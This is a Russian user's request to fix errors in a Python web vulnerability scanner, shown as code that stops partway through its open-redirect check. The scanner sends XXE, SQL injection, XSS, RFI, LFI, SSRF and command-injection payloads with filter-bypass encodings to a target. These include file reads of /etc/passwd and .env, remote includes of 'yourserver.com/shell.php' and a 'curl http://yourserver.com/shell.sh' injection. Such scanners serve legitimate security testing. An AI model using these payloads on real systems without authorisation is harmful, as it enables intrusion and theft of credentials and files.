исправь ошибки import requests
import sys
import urllib.parse
import re
import concurrent.futures
import logging
from urllib.parse import quote, urljoin, parse_qs, urlparse
import urllib3
import json

# Отключение предупреждений о неподтверждённых SSL-сертификатах
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Настройка логирования
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s [%(levelname)s] %(message)s',
    handlers=[
        logging.FileHandler("vulnerability_scan.log", encoding="utf-8"),
        logging.StreamHandler(sys.stdout)
    ]
)


def encode_payload(payload, encoding_type):
    if encoding_type == 'url':
        return quote(payload)
    elif encoding_type == 'unicode':
        return ''.join([f'&#x{ord(c):x};' for c in payload])
    elif encoding_type == 'double_url':
        return quote(quote(payload))
    else:
        return payload


def generate_bypass_payloads(payload):
    bypass_payloads = []
    encodings = ['url', 'unicode', 'double_url']
    for encoding in encodings:
        encoded = encode_payload(payload, encoding)
        bypass_payloads.append({
            'description': f'Payload с обходом фильтра ({encoding})',
            'payload': encoded
        })
    # Изменение регистра
    bypass_payloads.append({
        'description': 'Payload с изменением регистра',
        'payload': payload.swapcase()
    })
    # Разделение строки с использованием комментариев
    bypass_payloads.append({
        'description': 'Payload с разделением строки и комментариями',
        'payload': payload.replace("'", "'/*comment*/")
    })
    return bypass_payloads


### Функции для Проверок, Требующих Параметров ###

def scan_xxe(url, params, headers):
    """
    Функция для проверки уязвимости XXE
    """
    logging.info("[*] Запуск проверки XXE...")
    vulnerable = False
    results = []
    successful_tests = []

    # Базовые XXE payload'ы
    base_payloads = [
        {
            "description": "Попытка чтения /etc/passwd",
            "payload": '''<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [  
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>'''
        },
        {
            "description": "Попытка чтения файла Windows system",
            "payload": '''<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [  
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts" >]>
<foo>&xxe;</foo>'''
        },
        {
            "description": "Попытка выполнения запроса на внешний ресурс",
            "payload": '''<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [  
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://yourserver.com/exfiltrate" >]>
<foo>&xxe;</foo>'''
        },
        # Дополнительные payload'ы
        {
            "description": "Попытка чтения файла конфигурации базы данных",
            "payload": '''<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE config [  
<!ELEMENT config ANY >
<!ENTITY xxe SYSTEM "file:///var/www/html/config.php" >]>
<config>&xxe;</config>'''
        },
        {
            "description": "Попытка чтения файла облачной конфигурации",
            "payload": '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE cloud [  
<!ELEMENT cloud ANY >
<!ENTITY xxe SYSTEM "file:///etc/cloud.cfg" >]>
<cloud>&xxe;</cloud>'''
        },
    ]

    # Генерация обходных payload'ов для фильтров
    all_payloads = []
    for base in base_payloads:
        all_payloads.append(base)
        bypasses = generate_bypass_payloads(base['payload'])
        all_payloads.extend(bypasses)

    # Регулярные выражения для поиска специфических ошибок DTD
    dtd_errors = [
        re.compile(r'DOCTYPE', re.IGNORECASE),
        re.compile(r'XML parsing error', re.IGNORECASE),
        re.compile(r'not allowed to load external entity', re.IGNORECASE),
        re.compile(r'DTD', re.IGNORECASE),
        re.compile(r'SAXException', re.IGNORECASE),
        re.compile(r'EntityExpansionLimit', re.IGNORECASE),
    ]

    def process_payload(idx, payload_struct):
        nonlocal vulnerable
        payload = payload_struct["payload"]
        description = payload_struct["description"]
        result = {
            "test_number": idx,
            "vulnerability": "XXE",
            "description": description,
            "vulnerable": False,
            "details": "",
            "response": ""
        }
        logging.info(f"\n[+] XXE Тест {idx}: {description}")
        try:
            response = requests.post(url, data=payload, headers=headers, timeout=10, verify=False)
            content = response.text
            result["response"] = content

            # Проверка наличия содержимого /etc/passwd
            if "root:" in content:
                result["vulnerable"] = True
                result["details"] = "Найдена строка 'root:' в ответе."
                logging.info(f"    [+] Уязвимость XXE обнаружена с payload: {description}")
                vulnerable = True
                return result

            # Проверка на специфические строки, связанные с путями файлов
            specific_strings = [
                "/etc/hosts", "Windows", "system32", "apache2", "docker", "my.cnf",
                "application.properties", "config.php", "secret.txt", "config.json",
                "php.ini", "sshd_config", "main.cf", "redis.conf", "elasticsearch.yml",
                "grafana.ini", "config.xml", "kubelet.conf", "syslog", "daemon.json",
                "postgresql.conf", "nginx.conf", "hosts", "Win.INI", "cloud.cfg"
            ]
            for s in specific_strings:
                if s.lower() in content.lower():
                    result["vulnerable"] = True
                    result["details"] = f"Найдена строка '{s}' в ответе."
                    logging.info(f"    [+] Уязвимость XXE обнаружена с payload: {description}")
                    vulnerable = True
                    return result

            # Проверка на наличие DTD или специфических ошибок XML
            for error_pattern in dtd_errors:
                if error_pattern.search(content):
                    result["vulnerable"] = True
                    result["details"] = f"Найдена ошибка связанная с DTD: {error_pattern.pattern}"
                    logging.warning(
                        f"    [!] Возможный признак обработки DTD или ошибки парсинга: {error_pattern.pattern}")
                    vulnerable = True
                    return result

            # Проверка на наличие URL, использованных в SSRF
            if "yourserver.com/exfiltrate" in content or "attacker.com" in content:
                result["vulnerable"] = True
                result["details"] = "Обнаружены попытки exfiltration через SSRF."
                logging.info(f"    [+] Уязвимость XXE обнаружена с payload: {description}")
                vulnerable = True
                return result

            # Проверка на наличие комментариев, содержащих данные
            if "&xxe;" in content:
                result["vulnerable"] = True
                result["details"] = "Возможно, данные переданы через комментарии или CDATA."
                logging.warning(f"    [!] Возможно, данные переданы через комментарии или CDATA.")
                vulnerable = True
                return result

            logging.info(f"    [-] Уязвимость XXE не обнаружена с данным payload.")
            return result
        except requests.exceptions.RequestException as e:
            result["details"] = f"Ошибка при запросе: {e}"
            logging.error(f"    [!] Ошибка при запросе: {e}")
            return result
        except Exception as ex:
            result["details"] = f"Неожиданная ошибка: {ex}"
            logging.error(f"    [!] Неожиданная ошибка: {ex}")
            return result

    # Использование пула потоков для параллельной отправки запросов
    with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
        future_to_payload = {executor.submit(process_payload, idx, p): idx for idx, p in
                             enumerate(all_payloads, start=1)}
        for future in concurrent.futures.as_completed(future_to_payload):
            idx = future_to_payload[future]
            try:
                result = future.result()
                results.append(result)
                if result["vulnerable"]:
                    successful_tests.append(result)
            except Exception as exc:
                logging.error(f"    [!] Тест {idx} сгенерировал исключение: {exc}")

    # Вывод ответов от сервера для успешных тестов
    if successful_tests:
        logging.info("\n=== Ответы от сервера для успешных тестов XXE ===\n")
        for res in successful_tests:
            logging.info(f"Тест {res['test_number']}: {res['description']}")
            logging.info(f"Уязвимость обнаружена: Да")
            logging.info(f"Детали: {res['details']}")
            logging.info(f"Ответ сервера:\n{res['response']}\n{'-' * 60}\n")
    else:
        logging.info("\n[-] Уязвимость XXE не обнаружена с использованием предоставленных тестов.")

    return vulnerable, results


def scan_sqli(url, params, headers):
    """
    Функция для проверки уязвимости SQL Injection
    """
    logging.info("[*] Запуск проверки SQL Injection...")
    vulnerable = False
    results = []
    successful_tests = []

    # Базовые SQLi payload'ы
    base_payloads = [
        {
            "description": "Тест с одиночной кавычкой (')",
            "payload": "'"
        },
        {
            "description": "Тест с SQL-комментарием --",
            "payload": "'-- "
        },
        {
            "description": "Тест с закрытием кавычки и добавлением OR 1=1",
            "payload": "' OR '1'='1"
        },
        {
            "description": "Тест с использованием UNION SELECT",
            "payload": "' UNION SELECT NULL-- "
        },
        {
            "description": "Тест с использованием OR 1=1#",
            "payload": "' OR 1=1#"
        },
        # Дополнительные payload'ы
        {
            "description": "Тест с использованием OR 1=1--",
            "payload": "' OR 1=1--"
        },
        {
            "description": "Тест с использованием OR 'a'='a",
            "payload": "' OR 'a'='a"
        },
        {
            "description": "Тест с использованием ' OR true-- ",
            "payload": "' OR true-- "
        },
    ]

    # Генерация обходных payload'ов для фильтров
    all_payloads = []
    for base in base_payloads:
        all_payloads.append(base)
        bypasses = generate_bypass_payloads(base['payload'])
        all_payloads.extend(bypasses)

    def process_payload(idx, payload_struct):
        nonlocal vulnerable
        payload = payload_struct["payload"]
        description = payload_struct["description"]
        result = {
            "test_number": idx,
            "vulnerability": "SQL Injection",
            "description": description,
            "vulnerable": False,
            "details": "",
            "response": ""
        }
        logging.info(f"\n[+] SQLi Тест {idx}: {description}")
        try:
            # Вставляем payload во все параметры по очереди
            for param in params:
                data = params.copy()
                data[param] = payload
                response = requests.post(url, data=data, headers=headers, timeout=10, verify=False)
                content = response.text
                result["response"] = content

                # Простейшая проверка на SQL-ошибки
                error_patterns = [
                    re.compile(r"you have an error in your sql syntax", re.IGNORECASE),
                    re.compile(r"warning: mysql", re.IGNORECASE),
                    re.compile(r"unclosed quotation mark after the character string", re.IGNORECASE),
                    re.compile(r"quoted string not properly terminated", re.IGNORECASE),
                    re.compile(r"SQL syntax.*MySQL", re.IGNORECASE),
                    re.compile(r"invalid query", re.IGNORECASE),
                ]

                for pattern in error_patterns:
                    if pattern.search(content):
                        result["vulnerable"] = True
                        result["details"] = f"Найдена ошибка SQL: {pattern.pattern}"
                        logging.info(f"    [+] Уязвимость SQL Injection обнаружена с payload: {description}")
                        vulnerable = True
                        return result

            logging.info(f"    [-] Уязвимость SQL Injection не обнаружена с данным payload.")
            return result
        except requests.exceptions.RequestException as e:
            result["details"] = f"Ошибка при запросе: {e}"
            logging.error(f"    [!] Ошибка при запросе: {e}")
            return result
        except Exception as ex:
            result["details"] = f"Неожиданная ошибка: {ex}"
            logging.error(f"    [!] Неожиданная ошибка: {ex}")
            return result

    with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
        future_to_payload = {executor.submit(process_payload, idx, p): idx for idx, p in
                             enumerate(all_payloads, start=1)}
        for future in concurrent.futures.as_completed(future_to_payload):
            idx = future_to_payload[future]
            try:
                result = future.result()
                results.append(result)
                if result["vulnerable"]:
                    successful_tests.append(result)
            except Exception as exc:
                logging.error(f"    [!] Тест {idx} сгенерировал исключение: {exc}")

    # Вывод ответов от сервера для успешных тестов
    if successful_tests:
        logging.info("\n=== Ответы от сервера для успешных тестов SQL Injection ===\n")
        for res in successful_tests:
            logging.info(f"Тест {res['test_number']}: {res['description']}")
            logging.info(f"Уязвимость обнаружена: Да")
            logging.info(f"Детали: {res['details']}")
            logging.info(f"Ответ сервера:\n{res['response']}\n{'-' * 60}\n")
    else:
        logging.info("\n[-] Уязвимость SQL Injection не обнаружена с использованием предоставленных тестов.")

    return vulnerable, results


def scan_xss(url, params, headers):
    """
    Функция для проверки уязвимости Cross-Site Scripting (XSS)
    """
    logging.info("[*] Запуск проверки Cross-Site Scripting (XSS)...")
    vulnerable = False
    results = []
    successful_tests = []

    # Базовые XSS payload'ы
    base_payloads = [
        {
            "description": "Тест с простым скриптом",
            "payload": "<script>alert('XSS')</script>"
        },
        {
            "description": "Тест с событием onclick",
            "payload": "\"><img src=x onerror=alert('XSS')>"
        },
        {
            "description": "Тест с использованием SVG",
            "payload": "<svg/onload=alert('XSS')>"
        },
        {
            "description": "Тест с использованием iframe",
            "payload": "<iframe src='javascript:alert(\"XSS\")'></iframe>"
        },
        {
            "description": "Тест с использованием объекта",
            "payload": "<object data='javascript:alert(\"XSS\")'></object>"
        },
        # Дополнительные payload'ы
        {
            "description": "Тест с использованием аксессуарной JavaScript функции",
            "payload": "<IMG SRC=\"javascript:alert('XSS');\">"
        },
        {
            "description": "Тест с использованием комментариев HTML",
            "payload": "<script>alert('XSS')</script><!-->"
        },
        {
            "description": "Тест с использованием Hex Encoding",
            "payload": "<script>alert(String.fromCharCode(88,83,83))</script>"
        },
    ]

    # Генерация обходных payload'ов для фильтров
    all_payloads = []
    for base in base_payloads:
        all_payloads.append(base)
        bypasses = generate_bypass_payloads(base['payload'])
        all_payloads.extend(bypasses)

    def process_payload(idx, payload_struct):
        nonlocal vulnerable
        payload = payload_struct["payload"]
        description = payload_struct["description"]
        result = {
            "test_number": idx,
            "vulnerability": "XSS",
            "description": description,
            "vulnerable": False,
            "details": "",
            "response": ""
        }
        logging.info(f"\n[+] XSS Тест {idx}: {description}")
        try:
            # Вставляем payload во все параметры по очереди
            for param in params:
                data = params.copy()
                data[param] = payload
                response = requests.post(url, data=data, headers=headers, timeout=10, verify=False)
                content = response.text
                result["response"] = content

                # Проверка отражения payload
                if payload in content:
                    result["vulnerable"] = True
                    result["details"] = "Payload отражён в ответе."
                    logging.info(f"    [+] Уязвимость XSS обнаружена с payload: {description}")
                    vulnerable = True
                    return result

                # Дополнительная проверка на экранирование
                # Проверяет, не экранирован ли payload
                escaped_payload = re.escape(payload)
                if re.search(f">{escaped_payload}<", content):
                    result["vulnerable"] = True
                    result["details"] = "Потенциальная уязвимость XSS: payload отражён без эскейпинга."
                    logging.info(f"    [+] Уязвимость XSS обнаружена с payload: {description}")
                    vulnerable = True
                    return result

            logging.info(f"    [-] Уязвимость XSS не обнаружена с данным payload.")
            return result
        except requests.exceptions.RequestException as e:
            result["details"] = f"Ошибка при запросе: {e}"
            logging.error(f"    [!] Ошибка при запросе: {e}")
            return result
        except Exception as ex:
            result["details"] = f"Неожиданная ошибка: {ex}"
            logging.error(f"    [!] Неожиданная ошибка: {ex}")
            return result

    with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
        future_to_payload = {executor.submit(process_payload, idx, p): idx for idx, p in
                             enumerate(all_payloads, start=1)}
        for future in concurrent.futures.as_completed(future_to_payload):
            idx = future_to_payload[future]
            try:
                result = future.result()
                results.append(result)
                if result["vulnerable"]:
                    successful_tests.append(result)
            except Exception as exc:
                logging.error(f"    [!] Тест {idx} сгенерировал исключение: {exc}")

    # Вывод ответов от сервера для успешных тестов
    if successful_tests:
        logging.info("\n=== Ответы от сервера для успешных тестов XSS ===\n")
        for res in successful_tests:
            logging.info(f"Тест {res['test_number']}: {res['description']}")
            logging.info(f"Уязвимость обнаружена: Да")
            logging.info(f"Детали: {res['details']}")
            logging.info(f"Ответ сервера:\n{res['response']}\n{'-' * 60}\n")
    else:
        logging.info("\n[-] Уязвимость XSS не обнаружена с использованием предоставленных тестов.")

    return vulnerable, results


def scan_rfi(url, params, headers):
    """
    Функция для проверки уязвимости Remote File Inclusion (RFI)
    """
    logging.info("[*] Запуск проверки Remote File Inclusion (RFI)...")
    vulnerable = False
    results = []
    successful_tests = []

    # Базовые RFI payload'ы
    base_payloads = [
        {
            "description": "Попытка включить удалённый PHP файл",
            "payload": "http://yourserver.com/shell.php"
        },
        {
            "description": "Попытка включить удалённый текстовый файл",
            "payload": "http://yourserver.com/evil.txt"
        },
        # Дополнительные payload'ы
        {
            "description": "Попытка включить удалённый XML файл",
            "payload": "http://yourserver.com/data.xml"
        },
        {
            "description": "Попытка включить удалённый JSON файл",
            "payload": "http://yourserver.com/data.json"
        },
    ]

    # Генерация обходных payload'ов для фильтров
    all_payloads = []
    for base in base_payloads:
        all_payloads.append(base)
        bypasses = generate_bypass_payloads(base['payload'])
        all_payloads.extend(bypasses)

    def process_payload(idx, payload_struct):
        nonlocal vulnerable
        payload = payload_struct["payload"]
        description = payload_struct["description"]
        result = {
            "test_number": idx,
            "vulnerability": "RFI",
            "description": description,
            "vulnerable": False,
            "details": "",
            "response": ""
        }
        logging.info(f"\n[+] RFI Тест {idx}: {description}")
        try:
            # Вставляем payload во все параметры по очереди
            for param in params:
                data = params.copy()
                data[param] = payload
                response = requests.get(url, params=data, headers=headers, timeout=10, verify=False)
                content = response.text
                result["response"] = content

                # Проверка на успешное включение файла
                # Например, если это PHP-скрипт, ищем специфичные строки или подтверждающие признаки
                if "PHP Version" in content or "<?php" in content or "malicious content" in content:
                    result["vulnerable"] = True
                    result["details"] = "Удалённый файл был включён и выполнен."
                    logging.info(f"    [+] Уязвимость RFI обнаружена с payload: {description}")
                    vulnerable = True
                    return result

            logging.info(f"    [-] Уязвимость RFI не обнаружена с данным payload.")
            return result
        except requests.exceptions.RequestException as e:
            result["details"] = f"Ошибка при запросе: {e}"
            logging.error(f"    [!] Ошибка при запросе: {e}")
            return result
        except Exception as ex:
            result["details"] = f"Неожиданная ошибка: {ex}"
            logging.error(f"    [!] Неожиданная ошибка: {ex}")
            return result

    with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
        future_to_payload = {executor.submit(process_payload, idx, p): idx for idx, p in
                             enumerate(all_payloads, start=1)}
        for future in concurrent.futures.as_completed(future_to_payload):
            idx = future_to_payload[future]
            try:
                result = future.result()
                results.append(result)
                if result["vulnerable"]:
                    successful_tests.append(result)
            except Exception as exc:
                logging.error(f"    [!] Тест {idx} сгенерировал исключение: {exc}")

    # Вывод ответов от сервера для успешных тестов
    if successful_tests:
        logging.info("\n=== Ответы от сервера для успешных тестов RFI ===\n")
        for res in successful_tests:
            logging.info(f"Тест {res['test_number']}: {res['description']}")
            logging.info(f"Уязвимость обнаружена: Да")
            logging.info(f"Детали: {res['details']}")
            logging.info(f"Ответ сервера:\n{res['response']}\n{'-' * 60}\n")
    else:
        logging.info("\n[-] Уязвимость RFI не обнаружена с использованием предоставленных тестов.")

    return vulnerable, results


def scan_lfi(url, params, headers):
    """
    Функция для проверки уязвимости Local File Inclusion (LFI)
    """
    logging.info("[*] Запуск проверки Local File Inclusion (LFI)...")
    vulnerable = False
    results = []
    successful_tests = []

    # Базовые LFI payload'ы
    base_payloads = [
        {
            "description": "Попытка включения /etc/passwd",
            "payload": "../../../../../../etc/passwd"
        },
        {
            "description": "Попытка включения /windows/win.ini",
            "payload": "../../../../../../windows/win.ini"
        },
        {
            "description": "Попытка включения веб-приложения конфигурации (config.php)",
            "payload": "../../../../../../var/www/html/config.php"
        },
        {
            "description": "Попытка включения скрытого файла",
            "payload": "../../../../../../.env"
        },
        # Дополнительные payload'ы
        {
            "description": "Попытка включения файла логов",
            "payload": "../../../../../../var/log/apache2/access.log"
        },
        {
            "description": "Попытка включения файла безопасности (security.txt)",
            "payload": "../../../../../../security.txt"
        },
    ]

    # Генерация обходных payload'ов для фильтров
    all_payloads = []
    for base in base_payloads:
        all_payloads.append(base)
        bypasses = generate_bypass_payloads(base['payload'])
        all_payloads.extend(bypasses)

    def process_payload(idx, payload_struct):
        nonlocal vulnerable
        payload = payload_struct["payload"]
        description = payload_struct["description"]
        result = {
            "test_number": idx,
            "vulnerability": "LFI",
            "description": description,
            "vulnerable": False,
            "details": "",
            "response": ""
        }
        logging.info(f"\n[+] LFI Тест {idx}: {description}")
        try:
            # Вставляем payload во все параметры по очереди
            for param in params:
                data = params.copy()
                data[param] = payload
                response = requests.get(url, params=data, headers=headers, timeout=10, verify=False)
                content = response.text
                result["response"] = content

                # Проверка наличия специфических строк в ответе
                if "root:x:" in content or "Windows" in content or "config.php" in content or ".env" in content:
                    result["vulnerable"] = True
                    result["details"] = "Возможен доступ к локальным файлам."
                    logging.info(f"    [+] Уязвимость LFI обнаружена с payload: {description}")
                    vulnerable = True
                    return result

            logging.info(f"    [-] Уязвимость LFI не обнаружена с данным payload.")
            return result
        except requests.exceptions.RequestException as e:
            result["details"] = f"Ошибка при запросе: {e}"
            logging.error(f"    [!] Ошибка при запросе: {e}")
            return result
        except Exception as ex:
            result["details"] = f"Неожиданная ошибка: {ex}"
            logging.error(f"    [!] Неожиданная ошибка: {ex}")
            return result

    with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
        future_to_payload = {executor.submit(process_payload, idx, p): idx for idx, p in
                             enumerate(all_payloads, start=1)}
        for future in concurrent.futures.as_completed(future_to_payload):
            idx = future_to_payload[future]
            try:
                result = future.result()
                results.append(result)
                if result["vulnerable"]:
                    successful_tests.append(result)
            except Exception as exc:
                logging.error(f"    [!] Тест {idx} сгенерировал исключение: {exc}")

    # Вывод ответов от сервера для успешных тестов
    if successful_tests:
        logging.info("\n=== Ответы от сервера для успешных тестов LFI ===\n")
        for res in successful_tests:
            logging.info(f"Тест {res['test_number']}: {res['description']}")
            logging.info(f"Уязвимость обнаружена: Да")
            logging.info(f"Детали: {res['details']}")
            logging.info(f"Ответ сервера:\n{res['response']}\n{'-' * 60}\n")
    else:
        logging.info("\n[-] Уязвимость LFI не обнаружена с использованием предоставленных тестов.")

    return vulnerable, results


def scan_ssrf(url, params, headers):
    """
    Функция для проверки уязвимости Server-Side Request Forgery (SSRF)
    """
    logging.info("[*] Запуск проверки Server-Side Request Forgery (SSRF)...")
    vulnerable = False
    results = []
    successful_tests = []

    # Предполагаемый сервер для exfiltration (например, ваш сервер для получения запросов)
    exfiltration_server = "yourserver.com"

    # Базовые SSRF payload'ы
    base_payloads = [
        {
            "description": "Тест с внутренним IP-адресом",
            "payload": "http://127.0.0.1"
        },
        {
            "description": "Тест с локальным портом",
            "payload": "http://localhost:8080"
        },
        {
            "description": "Тест с DNS-имёнованием",
            "payload": "http://localhost.domain.com"
        },
        {
            "description": "Тест с использованием IPv6",
            "payload": "http://[::1]"
        },
        {
            "description": "Тест с использованием ftp протокола",
            "payload": "ftp://127.0.0.1"
        },
        # Дополнительные payload'ы
        {
            "description": "Тест с использованием gopher протокола",
            "payload": "gopher://127.0.0.1"
        },
        {
            "description": "Тест с использованием file протокола",
            "payload": "file:///etc/passwd"
        },
    ]

    # Генерация обходных payload'ов для фильтров
    all_payloads = []
    for base in base_payloads:
        all_payloads.append(base)
        bypasses = generate_bypass_payloads(base['payload'])
        all_payloads.extend(bypasses)

    def process_payload(idx, payload_struct):
        nonlocal vulnerable
        payload = payload_struct["payload"]
        description = payload_struct["description"]
        result = {
            "test_number": idx,
            "vulnerability": "SSRF",
            "description": description,
            "vulnerable": False,
            "details": "",
            "response": ""
        }
        logging.info(f"\n[+] SSRF Тест {idx}: {description}")
        try:
            # Вставляем payload во все параметры по очереди
            for param in params:
                data = params.copy()
                data[param] = payload
                response = requests.get(url, params=data, headers=headers, timeout=10, verify=False)
                content = response.text
                result["response"] = content

                # Проверка на exfiltration
                # Здесь предполагается, что ваш exfiltration сервер записывает запросы
                # Поскольку автоматическое отслеживание невозможно, мы проверяем ответы на потенциальные признаки успешного SSRF
                if exfiltration_server in content:
                    result["vulnerable"] = True
                    result["details"] = f"Запрос был отправлен на exfiltration сервер: {exfiltration_server}"
                    logging.info(f"    [+] Уязвимость SSRF обнаружена с payload: {description}")
                    vulnerable = True
                    return result

                # Дополнительная проверка на ответ от внутренних сервисов
                internal_services_indicators = [
                    "AWS", "AWS_SECRET_ACCESS_KEY", "GCP", "Azure", "internal"
                ]
                for indicator in internal_services_indicators:
                    if indicator.lower() in content.lower():
                        result["vulnerable"] = True
                        result["details"] = f"Ответ содержит потенциальный доступ к внутренним сервисам: {indicator}"
                        logging.info(f"    [+] Уязвимость SSRF обнаружена с payload: {description}")
                        vulnerable = True
                        return result

            logging.info(f"    [-] Уязвимость SSRF не обнаружена с данным payload.")
            return result
        except requests.exceptions.RequestException as e:
            result["details"] = f"Ошибка при запросе: {e}"
            logging.error(f"    [!] Ошибка при запросе: {e}")
            return result
        except Exception as ex:
            result["details"] = f"Неожиданная ошибка: {ex}"
            logging.error(f"    [!] Неожиданная ошибка: {ex}")
            return result

    with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
        future_to_payload = {executor.submit(process_payload, idx, p): idx for idx, p in
                             enumerate(all_payloads, start=1)}
        for future in concurrent.futures.as_completed(future_to_payload):
            idx = future_to_payload[future]
            try:
                result = future.result()
                results.append(result)
                if result["vulnerable"]:
                    successful_tests.append(result)
            except Exception as exc:
                logging.error(f"    [!] Тест {idx} сгенерировал исключение: {exc}")

    # Вывод ответов от сервера для успешных тестов
    if successful_tests:
        logging.info("\n=== Ответы от сервера для успешных тестов SSRF ===\n")
        for res in successful_tests:
            logging.info(f"Тест {res['test_number']}: {res['description']}")
            logging.info(f"Уязвимость обнаружена: Да")
            logging.info(f"Детали: {res['details']}")
            logging.info(f"Ответ сервера:\n{res['response']}\n{'-' * 60}\n")
    else:
        logging.info("\n[-] Уязвимость SSRF не обнаружена с использованием предоставленных тестов.")

    return vulnerable, results


def scan_command_injection(url, params, headers):
    """
    Функция для проверки уязвимости Command Injection
    """
    logging.info("[*] Запуск проверки Command Injection...")
    vulnerable = False
    results = []
    successful_tests = []

    # Базовые Command Injection payload'ы
    base_payloads = [
        {
            "description": "Тест с использованием ; ls -la",
            "payload": "; ls -la"
        },
        {
            "description": "Тест с использованием && cat /etc/passwd",
            "payload": "&& cat /etc/passwd"
        },
        {
            "description": "Тест с использованием | uname -a",
            "payload": "| uname -a"
        },
        {
            "description": "Тест с использованием `whoami`",
            "payload": "`whoami`"
        },
        {
            "description": "Тест с использованием $(id)",
            "payload": "$(id)"
        },
        # Дополнительные payload'ы
        {
            "description": "Тест с использованием || ping -c 4 127.0.0.1",
            "payload": "|| ping -c 4 127.0.0.1"
        },
        {
            "description": "Тест с использованием & ping 127.0.0.1",
            "payload": "& ping 127.0.0.1"
        },
        {
            "description": "Тест с использованием && curl http://yourserver.com/shell.sh",
            "payload": "&& curl http://yourserver.com/shell.sh"
        },
    ]

    # Генерация обходных payload'ов для фильтров
    all_payloads = []
    for base in base_payloads:
        all_payloads.append(base)
        bypasses = generate_bypass_payloads(base['payload'])
        all_payloads.extend(bypasses)

    def process_payload(idx, payload_struct):
        nonlocal vulnerable
        payload = payload_struct["payload"]
        description = payload_struct["description"]
        result = {
            "test_number": idx,
            "vulnerability": "Command Injection",
            "description": description,
            "vulnerable": False,
            "details": "",
            "response": ""
        }
        logging.info(f"\n[+] Command Injection Тест {idx}: {description}")
        try:
            # Вставляем payload во все параметры по очереди
            for param in params:
                data = params.copy()
                data[param] = payload
                response = requests.post(url, data=data, headers=headers, timeout=10, verify=False)
                content = response.text
                result["response"] = content

                # Проверка на признаки успешного выполнения команд
                # Например, наличие вывода команды ls, whoami, id и т.д.
                command_output_indicators = [
                    "root:", "bin/bash", "uid=", "gid=", "127.0.0.1", "total ", "drwx", "d-----",
                    "CMD", "COMMAND", "USER", "HOME"
                ]
                for indicator in command_output_indicators:
                    if indicator.lower() in content.lower():
                        result["vulnerable"] = True
                        result["details"] = f"Обнаружен вывод команды: {indicator}"
                        logging.info(f"    [+] Уязвимость Command Injection обнаружена с payload: {description}")
                        vulnerable = True
                        return result

            logging.info(f"    [-] Уязвимость Command Injection не обнаружена с данным payload.")
            return result
        except requests.exceptions.RequestException as e:
            result["details"] = f"Ошибка при запросе: {e}"
            logging.error(f"    [!] Ошибка при запросе: {e}")
            return result
        except Exception as ex:
            result["details"] = f"Неожиданная ошибка: {ex}"
            logging.error(f"    [!] Неожиданная ошибка: {ex}")
            return result

    with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
        future_to_payload = {executor.submit(process_payload, idx, p): idx for idx, p in
                             enumerate(all_payloads, start=1)}
        for future in concurrent.futures.as_completed(future_to_payload):
            idx = future_to_payload[future]
            try:
                result = future.result()
                results.append(result)
                if result["vulnerable"]:
                    successful_tests.append(result)
            except Exception as exc:
                logging.error(f"    [!] Тест {idx} сгенерировал исключение: {exc}")

    # Вывод ответов от сервера для успешных тестов
    if successful_tests:
        logging.info("\n=== Ответы от сервера для успешных тестов Command Injection ===\n")
        for res in successful_tests:
            logging.info(f"Тест {res['test_number']}: {res['description']}")
            logging.info(f"Уязвимость обнаружена: Да")
            logging.info(f"Детали: {res['details']}")
            logging.info(f"Ответ сервера:\n{res['response']}\n{'-' * 60}\n")
    else:
        logging.info("\n[-] Уязвимость Command Injection не обнаружена с использованием предоставленных тестов.")

    return vulnerable, results


def scan_open_redirect(url, params, headers):
    """
    Функция для проверки уязвимости Open Redirect
    """
    logging.info("[*] Запуск проверки Open Redirect...")
    vulnerable = False
    results = []
    successful_tests = []

    # Базовые Open Redirect payload'ы
    base_payloads = [
        {
            "description": "Тест с абсолютным URL",
            "payload": "https://attacker.com"
        },
        {
            "description": "Тест с относительным URL",
            "payload": "/%2E%2E/%2E%2E/%2E%2E/attacker.com"
        },
        {
            "description": "Тест с использованием JavaScript",
            "payload": "javascript:alert('XSS')"
        },
        {
            "description": "Тест с использованием data URI",
            "payload": "data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4="
        },
        # Дополнительные payload'ы
        {
            "description": "Тест с использованием Unicode",
            "payload": "https://%61%74%74%61%63%6B%65%72.com"
        },
        {
            "description": "Тест с использованием обратных слэшей",
            "payload": "https:\\attacker.com"
        },
        {
            "description": "Тест с использованием URL-параметров",
            "payload": "https://attacker.com?next=http://victim.com"
        },
    ]

    # Генерация обходных payload'ов для фильтров
    all_payloads = []
    for base in base_payloads:
        all_payloads.append(base)
        bypasses = generate_bypass_payloads(base['payload'])
        all_payloads.extend(bypasses)

    def process_payload(idx, payload_struct):
        nonlocal vulnerable
        payload = payload_struct["payload"]
        description = payload_struct["description"]
        result = {
            "test_number": idx,
            "vulnerability": "Open Redirect",
            "description": description,
            "vulnerable": False,
            "details": "",
            "response": ""
        }
        logging.info(f"\n[+] Open Redirect Тест {idx}: {description}")
        try:
            # Вставляем payload в параметр, который вызывает перенаправление
            for param in params:
                data = params.copy()
                data[param] = payload
                # Отправляем запрос без автоматического перенаправления
                response = requests.get(url, params=data, headers=headers, timeout=10, verify=False,
                                        allow_redirects=False)
                content = response.text
                result["response"] = content

                # Проверка на статус-код 3XX и заголовок Location
                if response.is_redirect or response.is_permanent_redirect:
                    location = response.headers.get('Location', '')
                    if payload in location:
                        result["vulnerable"] = True
                        result["details"] = f"Произошло перенаправление на: {location}"
                        logging.info(f"    [+] Уязвимость Open Redirect обнаружена с payload: {description}")
                        vulnerable = True
                        return result

